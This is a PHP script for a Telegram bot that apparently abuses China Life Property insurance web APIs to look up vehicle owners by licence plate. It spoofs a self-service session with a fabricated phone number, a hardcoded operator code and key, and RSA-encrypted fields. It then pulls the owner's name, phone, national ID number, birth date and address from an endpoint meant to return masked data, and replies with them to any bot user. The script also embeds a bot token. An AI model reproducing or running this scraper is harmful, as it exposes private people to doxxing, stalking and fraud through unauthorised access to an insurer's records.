<?php
// ===================== 原有核心配置 & 工具函数 =====================
// 初始化配置
$session = curl_init();
curl_setopt($session, CURLOPT_SSL_VERIFYPEER, false); // 禁用SSL验证
curl_setopt($session, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($session, CURLOPT_RETURNTRANSFER, true);
curl_setopt($session, CURLOPT_FOLLOWLOCATION, true);

// 请求头配置
$headers = [
    "User-Agent: Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Mobile Safari/537.36 Edg/126.0.0.0",
    "Content-Type: application/json"
];
curl_setopt($session, CURLOPT_HTTPHEADER, $headers);

// RSA公钥
$publicKeyStr = 'MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCwGbMAecQuqsZ2hQELuqSHI+R8R0NcM9SNqw245OB/vDed4Z65z97YlrjG7+bE2CPs6TLNezYey/PqdeuUfbIaG6ou+FATs5y+MZQMEMpgJBMGvjivn0cNN5yICMM/G2ZdS66Hx5U1iK6yzsDi5o3rNpXsNzN36xLhSCVaZ96y1QIDAQAB';

/**
 * 生成随机手机号
 */
function get_phone_num() {
    $second_spot = [3,4,5,7,8][rand(0,4)];
    switch($second_spot) {
        case 3: $third_spot = rand(0,9); break;
        case 4: $third_spot = [5,7,9][rand(0,2)]; break;
        case 5: $third_spot = [0,1,2,3,5,6,7,8,9][rand(0,8)]; break;
        case 7: $third_spot = [0,1,2,3,5,6,7,8][rand(0,7)]; break;
        case 8: $third_spot = rand(0,9); break;
    }
    $remain_spot = rand(9999999, 99999999);
    return "1{$second_spot}{$third_spot}{$remain_spot}";
}

/**
 * RSA加密函数
 */
function encryptPassword($password, $publicKeyStr) {
    try {
        $publicKey = "-----BEGIN PUBLIC KEY-----\n" . chunk_split($publicKeyStr, 64, "\n") . "-----END PUBLIC KEY-----";
        openssl_public_encrypt($password, $encrypted, $publicKey, OPENSSL_PKCS1_PADDING);
        return base64_encode($encrypted);
    } catch (Exception $e) {
        echo "加密失败：" . $e->getMessage() . "\n";
        return null;
    }
}

/**
 * 获取Cookie
 */
function get_cookie(&$session) {
    $url = 'https://hub.chinalife-p.com.cn/mescifp/prod/index.html?type=customer&systemSource=E18';
    curl_setopt($session, CURLOPT_URL, $url);
    curl_setopt($session, CURLOPT_POST, false);
    $response = curl_exec($session);
    return curl_errno($session) === 0;
}

/**
 * 获取Token并设置到请求头
 */
function get_token(&$session, &$headers) {
    $url = 'https://hub.chinalife-p.com.cn/MesBaseUrl/getToken';
    $data = json_encode(["userCode" => "", "bid" => ""]);
    
    curl_setopt($session, CURLOPT_URL, $url);
    curl_setopt($session, CURLOPT_POST, true);
    curl_setopt($session, CURLOPT_POSTFIELDS, $data);
    
    $response = curl_exec($session);
    $res_json = json_decode($response, true);
    
    if (curl_errno($session) === 0 && $res_json['status'] == '200' && isset($res_json['data']['token'])) {
        $headers[] = "Oauthtoken: " . $res_json['data']['token'];
        curl_setopt($session, CURLOPT_HTTPHEADER, $headers);
        return true;
    } else {
        echo "Token获取失败：" . (curl_errno($session) ? curl_error($session) : json_encode($res_json)) . "\n";
        return false;
    }
}

/**
 * 获取分组信息
 */
function get_info(&$session, $provinceCode, $cityCode, $id) {
    $url = 'https://mesbj.chinalife-p.com.cn/mesci/sales/SalesManager/getCusLoginInfo';
    $data = json_encode([
        "cityCode" => $cityCode,
        "provinceCode" => $provinceCode,
        "extparams" => "",
        "systemSource" => "E18",
        "userinfo" => "",
        "licensePlateNo" => $id
    ]);
    
    curl_setopt($session, CURLOPT_URL, $url);
    curl_setopt($session, CURLOPT_POSTFIELDS, $data);
    
    $response = curl_exec($session);
    $res_json = json_decode($response, true);
    
    if (curl_errno($session) === 0 && $res_json['status'] == '200' && isset($res_json['data'])) {
        return [
            $res_json['data']['groupCode'],
            $res_json['data']['groupType'],
            $res_json['data']['provincialCom']
        ];
    } else {
        echo "分组信息获取失败：" . (curl_errno($session) ? curl_error($session) : json_encode($res_json)) . "\n";
        return [null, null, null];
    }
}

/**
 * 获取订单号
 */
function get_orderNo(&$session, $groupCode, $groupType, $provincialCom, $syProductCode, $licnesType, $licnesTypeName, $id, $publicKeyStr) {
    $url = "https://mesbj.chinalife-p.com.cn/mesci/order/MesOrderInfos/searchBylicensePlateNo";
    $data = json_encode([
        "businessOffice" => $groupCode,
        "businessOfficeName" => $groupType,
        "structureId" => $provincialCom,
        "saleBusinessSourceCode" => "004",
        "saleBusinessSourceName" => "网络销售-安心享平台",
        "saleChnnelCode" => "04",
        "saleChnnelName" => "数字",
        "syProductCode" => $syProductCode,
        "userCode" => encryptPassword('100000000000000001', $publicKeyStr),
        "licnesNo" => encryptPassword($id, $publicKeyStr),
        "licnesType" => $licnesType,
        "licnesTypeName" => $licnesTypeName,
        "positionCode" => "",
        "positionName" => "",
        "loginUserCode" => "100000000000000001",
        "ifFalse" => "2",
        "customerPhone" => get_phone_num(),
        "newCarFlag" => "",
        "reformFlag" => "1",
        "shareImgFlag" => "0",
        "shareImgUserCode" => "",
        "practfno" => "",
        "ubiType" => "0",
        "systemSource" => "E18",
        "initialSystemSource" => "E18",
        "oldPolicyFlag" => "2",
        "userName" => "自助投保",
        "officeid" => "",
        "extparams" => "",
        "userid" => "",
        "userinfo" => "",
        "salesGethdbyhpFlag" => "1",
        "oriSysOperator" => "E18_user",
        "oriSysOperatorKey" => "Rcdaz11",
        "trackId" => uuid_create(UUID_TYPE_RANDOM),
        "agentRate" => "0"
    ]);
    
    curl_setopt($session, CURLOPT_URL, $url);
    curl_setopt($session, CURLOPT_POSTFIELDS, $data);
    
    $response = curl_exec($session);
    $res_json = json_decode($response, true);
    
    if (curl_errno($session) === 0 && $res_json['status'] == '200' && isset($res_json['data']['orderNo'])) {
        return $res_json['data']['orderNo'];
    } else {
        echo "订单号获取失败：" . (curl_errno($session) ? curl_error($session) : json_encode($res_json)) . "\n";
        return null;
    }
}

/**
 * 获取车牌号信息
 */
function get_licensePlateNo(&$session, $orderNo, $publicKeyStr) {
    $url = 'https://mesbj.chinalife-p.com.cn/mesci/order/MesOrderInfos/getInsuranceInformation';
    $data = json_encode([
        "userCode" => encryptPassword('100000000000000001', $publicKeyStr),
        "thisId" => $orderNo,
        "systemSource" => "E18"
    ]);
    
    curl_setopt($session, CURLOPT_URL, $url);
    curl_setopt($session, CURLOPT_POSTFIELDS, $data);
    
    $response = curl_exec($session);
    $res_json = json_decode($response, true);
    
    if (curl_errno($session) === 0 && $res_json['status'] == '200' && isset($res_json['data']['desensitizationJson'])) {
        $desensitizationJson = json_decode($res_json['data']['desensitizationJson'], true);
        return $desensitizationJson['licensePlateNo'];
    } else {
        echo "车牌号信息获取失败：" . (curl_errno($session) ? curl_error($session) : json_encode($res_json)) . "\n";
        return null;
    }
}

/**
 * 核心查询函数：输入车牌号，返回查询结果字符串
 */
function query_car_info(&$session, $car_id, $publicKeyStr) {
    $result = "\n===== 开始查询车牌号：{$car_id} =====\n";
    try {
        // 1. 前置准备：Cookie + Token
        global $headers;
        if (!get_cookie($session)) {
            $result .= "❌ Cookie获取失败\n";
            return $result;
        }
        if (!get_token($session, $headers)) {
            $result .= "❌ Token获取失败\n";
            return $result;
        }
        
        // 2. 固定参数配置
        $syProductCode = '0521';
        $licnesType = '02';
        $licnesTypeName = '小型汽车号牌';
        
        // 3. 逐步调用接口
        list($groupCode, $groupType, $provincialCom) = get_info($session, '110000', '110105', $car_id);
        if (!$groupCode || !$groupType || !$provincialCom) {
            $result .= "❌ 分组信息获取失败\n";
            return $result;
        }
        
        $orderNo = get_orderNo($session, $groupCode, $groupType, $provincialCom, $syProductCode, $licnesType, $licnesTypeName, $car_id, $publicKeyStr);
        if (!$orderNo) {
            $result .= "❌ 订单号获取失败\n";
            return $result;
        }
        
        $licensePlateNo = get_licensePlateNo($session, $orderNo, $publicKeyStr);
        if (!$licensePlateNo) {
            $result .= "❌ 车牌号信息获取失败\n";
            return $result;
        }
        
        // 4. 最终查询车主信息
        $id_list = str_split($car_id);
        if (count($id_list) >= 4) {
            $id_list[2] = '*';
            $id_list[3] = '*';
        }
        $encryptedPlate = encryptPassword(implode('', $id_list), $publicKeyStr);
        
        $url = "https://mesbj.chinalife-p.com.cn/mesci/order/MesCarInfo/findByLicensePlateNo";
        $desensitizationJson = json_encode([
            "address" => null, "addressChange" => null, "applicantName" => null, "applicantNameChange" => null,
            "carOwnerCardNo" => null, "carOwnerCardNoChange" => null, "carOwnerName" => null, "carOwnerNameChange" => null,
            "carPostalAddress" => null, "carPostalAddressChange" => null, "customerName" => null, "customerNameChange" => null,
            "engineNo" => null, "engineNoChange" => null, "frameNo" => null, "frameNoChange" => null,
            "homeAddress" => null, "homeAddressChange" => null, "identifyNumber" => null, "identifyNumberChange" => null,
            "licensePlateNo" => $licensePlateNo, "licensePlateNoChange" => "0", "mobile" => null, "mobileChange" => null,
            "phone" => null, "phoneChange" => null, "pubAddress" => null, "pubAddressChange" => null,
            "pubApplicantName" => null, "pubApplicantNameChange" => null, "pubIdentifyNumber" => null, "pubIdentifyNumberChange" => null,
            "pubPhone" => null, "pubPhoneChange" => null, "taxPayerAddress" => null, "taxPayerAddressChange" => null,
            "taxPayerIdentifyNumber" => null, "taxPayerName" => null, "taxPayerNameChange" => null, "taxPayerType" => "1"
        ]);
        
        $data = json_encode([
            "licensePlateNo" => $encryptedPlate,
            "licenseType" => $licnesType,
            "orderNo" => $orderNo,
            "licenseInfoThreeFlag" => "0",
            "licenseInfoYwyThreeFlag" => "0",
            "versionIdentify" => "1",
            "desensitizationJson" => $desensitizationJson
        ]);
        
        curl_setopt($session, CURLOPT_URL, $url);
        curl_setopt($session, CURLOPT_POSTFIELDS, $data);
        
        $response = curl_exec($session);
        $res_json = json_decode($response, true);
        $data = $res_json['data'] ?? [];
        
        // 5. 解析结果
        $result .= "\n===== 查询结果 =====\n";
        $result .= "车牌号：{$car_id}\n";
        $result .= "车主姓名：" . ($data['customerName'] ?? '未查询到') . "\n";
        $result .= "手机号：" . ($data['phone'] ?? '未查询到') . "\n";
        $result .= "身份证号：" . ($data['identifyNumber'] ?? '未查询到') . "\n";
        $result .= "出生日期：" . ($data['birthDate'] ?? '未查询到') . "\n";
        $result .= "地址：" . ($data['address'] ?? '未查询到') . "\n";
        $result .= "====================";
    } catch (Exception $e) {
        $result .= "\n❌ 查询失败：" . $e->getMessage() . "\n";
        $result .= "====================";
    }
    return $result;
}

// ===================== Telegram Bot 核心逻辑（使用php-telegram-bot库） =====================
// 注意：需先安装依赖：composer require php-telegram-bot/core
require __DIR__ . '/vendor/autoload.php';

use Telegram\Bot\Api;
use Telegram\Bot\Commands\Command;
use Telegram\Bot\Objects\Update;

// 替换为你的Telegram Bot Token
$BOT_TOKEN = "8072759248:AAF71ug8RFm5KwwkKH4S5dFgvq4A83IvD1A";
$telegram = new Api($BOT_TOKEN);

/**
 * StartCommand
 */
class StartCommand extends Command {
    protected $name = 'start';
    protected $description = '启动命令';
    
    public function handle() {
        $welcome_msg = "👋 欢迎使用车辆信息查询Bot！\n请直接发送车牌号（如：京A12345），我会为你查询相关信息。\n输入 /help 可查看使用说明。";
        $this->replyWithMessage(['text' => $welcome_msg]);
    }
}

/**
 * HelpCommand
 */
class HelpCommand extends Command {
    protected $name = 'help';
    protected $description = '帮助命令';
    
    public function handle() {
        $help_msg = "📖 使用说明：\n1. 直接发送车牌号（格式如：京A12345）即可查询\n2. 暂仅支持小型汽车号牌查询\n3. 若查询失败，请检查车牌号格式是否正确";
        $this->replyWithMessage(['text' => $help_msg]);
    }
}

// 注册命令
$telegram->addCommand(StartCommand::class);
$telegram->addCommand(HelpCommand::class);

// 处理消息更新
$telegram->commandsHandler(true);
$update = $telegram->getWebhookUpdate();

if ($update->hasMessage() && $update->getMessage()->hasText()) {
    $message = $update->getMessage();
    $car_id = trim($message->getText());
    
    // 过滤命令消息
    if (strpos($car_id, '/') === 0) return;
    
    // 校验车牌号格式
    if (strlen($car_id) < 5 || strlen($car_id) > 7) {
        $telegram->sendMessage([
            'chat_id' => $message->getChat()->getId(),
            'text' => "⚠️ 车牌号格式不正确，请输入正确格式（如：京A12345）！"
        ]);
        return;
    }
    
    // 发送查询中提示
    $telegram->sendMessage([
        'chat_id' => $message->getChat()->getId(),
        'text' => "🔍 正在查询，请稍候..."
    ]);
    
    // 执行查询
    global $session, $publicKeyStr;
    $result = query_car_info($session, $car_id, $publicKeyStr);
    
    // 发送查询结果
    $telegram->sendMessage([
        'chat_id' => $message->getChat()->getId(),
        'text' => $result
    ]);
}

// 关闭curl会话
curl_close($session);
?>
